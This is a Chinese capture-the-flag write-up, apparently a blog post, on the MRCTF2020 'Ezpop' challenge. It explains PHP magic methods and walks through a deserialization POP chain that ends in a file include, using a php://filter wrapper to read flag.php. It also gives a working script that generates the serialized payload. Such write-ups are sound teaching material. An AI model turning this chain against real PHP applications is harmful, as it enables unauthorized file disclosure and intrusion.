php魔术方法利用构造pop链之[MRCTF2020]Ezpop

知识点 :
PHP魔术方发的自动触发条件:

__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

 基础基础知识:

什么是一个对象?什么是属性?

class show {

public $source;
public $str;


}

$a=new show();//这里 $a就是一个对象,而 $a->source 就是a 的一个属性 source;

题目代码解析:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {        //定义一个 Modifier类
    protected  $var;    //一个属性var
    public function append($value){     //定义一个方法append ,会传入一个参数value
        include($value);                //包含参数value value 如果是flag.php 应该就可以利用
    }
    public function __invoke(){         //_invoke()方法,当一个对象被当做函数(方法)使用时会自动触发它
        $this->append($this->var);        //调用append()方法,这里就可以想到把var 传入flag.php,再想办法触发_invoke;
    }
}

class Show{
    public $source;		
    public $str;
    public function __construct($file='index.php'){		//__construct方法,当一个对象创建时调用,这里默认为打开include.php
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){			//__toString方法,当一个对象被当做字符串使用时会自动触发
        return $this->str->source;			//返回str->source ,明显把str定义成一个对象;
    }

    public function __wakeup(){			//__wakeup ,当对象使用unserialize 时就会自动触发,与下面的想呼应;
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {    //对source 正则匹配;
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();       //将p属性定义为数组
    }

    public function __get($key){   //_GET 方法,当调用对象的属性不可达或者不存在时就会自动触发;
        $function = $this->p;		//将p赋值给function
        return $function();			//返回function方法!!可以用它触发invoke
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;      //	定义 a 对象,类型为show
    highlight_file(__FILE__);
}


从解析中就可以逆向思维构造pop链;

1.首先我们的目的是触发_invoke 方法,然后这个方法里面就会执行append方法执行文件包含var;我们就可以把var 设为flag.php 使用伪协议:

php://filter/read=convert.base64-encode/resource=flag.php

如果invoke 方法触发,那么就会得到flag;

2.怎么触发invoke呢?当将对象调用为函数使用时就会自动触发,看到代码里面的test类的get方法将属性返回为函数,//那么就可以将 p设置为一个对象;设置成

3.那么现在就要想办法触发get方法,这也是一个魔术方法,根据它的自动触发条件,就可以看到利用str->source ,本来str 和source是一个级别的属性,但是这里把source给了str,那么将str定为test类的一个对象,而test类里面没有source属性,所以就会自动触发get;

4.现在问题就到了怎么触发_tostring 方法呢,它如果将一个对象当字符串处理时就会自动触发,恰好wakeup里面的将source进行正则匹配后触发将source返回为字符串,如果source是一个对象,那么它就可以触发tostring;

5.所以现在触发wakeup,当有对象被反序列化时就触发,恰好,要传入的pop要unserialize;

所以:向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含。

序列化代码:
 

<?php
 class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php"; 
 }
 class Show{
    public $source;
    public $str;
 }
 class Test{
    public $p;
 }
 $a=new Show;
 $a->source=new show;
 $a->source->str=new Test;
 $a->source->str->p=new Modifier;
 echo urlencode(serialize($a));

传入解密即可;

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值